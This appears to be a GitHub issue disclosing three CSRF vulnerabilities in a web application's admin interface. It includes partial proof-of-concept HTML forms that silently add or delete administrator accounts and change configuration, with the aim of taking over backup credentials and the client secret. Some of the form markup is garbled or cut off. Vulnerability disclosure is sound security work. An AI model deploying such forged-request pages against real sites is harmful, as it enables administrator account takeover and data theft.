New issue

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There is three CSRF vulnerability that can add the administrator account, delete administrator account, edit configuration. #352



```
piaolin commented on Jul 27, 2020
After the administrator logged in, open the following three pages:
1. add_admin.html
Add a administrator.
     <body>
      coosy/
cform action="http://localhost:8888/admin/configure/users" method="POST" enctype="multipart/form-data">
cinput type="hidden" name="email" value="321@com" />
cinput type="hidden" name="password" value="321" />
cinput type="submit" value="Submit request" />
      </form>
     </body>
  </html>
2. delete_admin.html
Delete a administrator use username(email), and the param 'id' is not useful, you can delete any user you think username(email).
     <input type="hidden" name="email" value="321@qq.com" />
<input type="hidden" name="id" value="80" />
<input type="submit" value="Submit request" />
  </body>
3. configure.html
It can edit configure, example:
1. Change HTTP Basic Auth User&Password to download a backup of your data via HTTP.
2. Change administrator email and used with add_admin.html.
3. Change Client Secret which is used to validate requests.
      <input type="submit" value="Submit request" />
</form>
    </body>
  </html>
<u>a</u> 2
```

piaolin changed the title There is three CSRF vulnerability that can add the administrator account, delete administrator account, edit configuration. on Jul 27, 2020

Assignees		
No one assigned		
Labels		
None yet		
Projects		
Projects None yet		
Milestone		
No milestone		
Development		

No branches or pull requests

1 participant

